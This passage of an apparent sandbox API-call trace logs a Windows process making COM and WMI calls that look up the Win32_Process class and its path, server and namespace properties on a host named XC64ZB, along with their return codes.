puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0119.240] IWbemServices:GetObject (in: This=0x1b4e0e00, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d9480, ppCallResult=0x0) returned 0x0 [0119.254] IWbemClassObject:Get (in: This=0x1b4d9480, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0119.255] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0119.255] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0119.255] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0119.255] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0119.255] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0119.255] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.256] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4abbf0) returned 0x0 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abbf0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0119.256] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abbf0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4afbe0) returned 0x0 [0119.256] WbemDefPath:IUnknown:Release (This=0x1b4abbf0) returned 0x0 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4afbe0) returned 0x0 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0119.256] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0119.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4ab9b0) returned 0x0 [0119.256] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ab9b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.257] WbemDefPath:IUnknown:Release (This=0x1b4ab9b0) returned 0x3 [0119.257] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0119.257] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0119.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0119.257] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0119.257] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0119.257] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0119.257] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0119.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afbe0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4afbe0) returned 0x0 [0119.257] WbemDefPath:IUnknown:AddRef (This=0x1b4afbe0) returned 0x3 [0119.257] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x2 [0119.257] WbemDefPath:IWbemPath:SetText (This=0x1b4afbe0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0119.257] IWbemClassObject:Get (in: This=0x1b4d9480, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0119.257] SysStringByteLen (bstr="XC64ZB") returned 0xc [0119.257] SysStringByteLen (bstr="XC64ZB") returned 0xc [0119.257] IWbemClassObject:Get (in: This=0x1b4d9480, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0119.257] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0119.258] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0119.258] IWbemClassObject:Get (in: This=0x1b4d9480, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0119.258] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0119.258] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0119.258] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0119.258] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0119.258] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0119.258] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.259] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4ac150) returned 0x0 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac150, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0119.259] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac150, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aee60) returned 0x0 [0119.259] WbemDefPath:IUnknown:Release (This=0x1b4ac150) returned 0x0 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aee60) returned 0x0 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0119.259] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0119.259] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0119.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4ac690) returned 0x0 [0119.260] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac690, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.260] WbemDefPath:IUnknown:Release (This=0x1b4ac690) returned 0x3 [0119.260] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0119.260] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0119.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0119.260] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0119.260] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0119.260] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0119.260] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.260] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aee60) returned 0x0 [0119.260] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0119.260] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0119.260] WbemDefPath:IWbemPath:SetText (This=0x1b4aee60, uMode=0x4, pszPath="") returned 0x0 [0119.260] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0119.260] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0119.260] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0119.260] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.261] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4ac1f0) returned 0x0 [0119.261] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac1f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0119.261] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac1f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af460) returned 0x0 [0119.261] WbemDefPath:IUnknown:Release (This=0x1b4ac1f0) returned 0x0 [0119.261] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af460) returned 0x0 [0119.261] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0119.261] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0119.261] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0119.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0119.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0119.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4ac430) returned 0x0 [0119.262] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.262] WbemDefPath:IUnknown:Release (This=0x1b4ac430) returned 0x3 [0119.262] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0119.263] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0119.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0119.263] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0119.263] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0119.263] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0119.263] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af460) returned 0x0 [0119.263] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0119.263] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0119.263] WbemDefPath:IWbemPath:SetText (This=0x1b4af460, uMode=0x4, pszPath="") returned 0x0 [0119.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0119.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0119.263] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4af460, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0119.263] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af460, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0119.263] WbemDefPath:IWbemPath:SetServer (This=0x1b4af460, Name="XC64ZB") returned 0x0 [0119.263] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0119.263] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0119.263] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0119.263] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.264] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4ac4b0) returned 0x0 [0119.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac4b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0119.264] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac4b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afee0) returned 0x0 [0119.264] WbemDefPath:IUnknown:Release (This=0x1b4ac4b0) returned 0x0 [0119.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afee0) returned 0x0 [0119.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 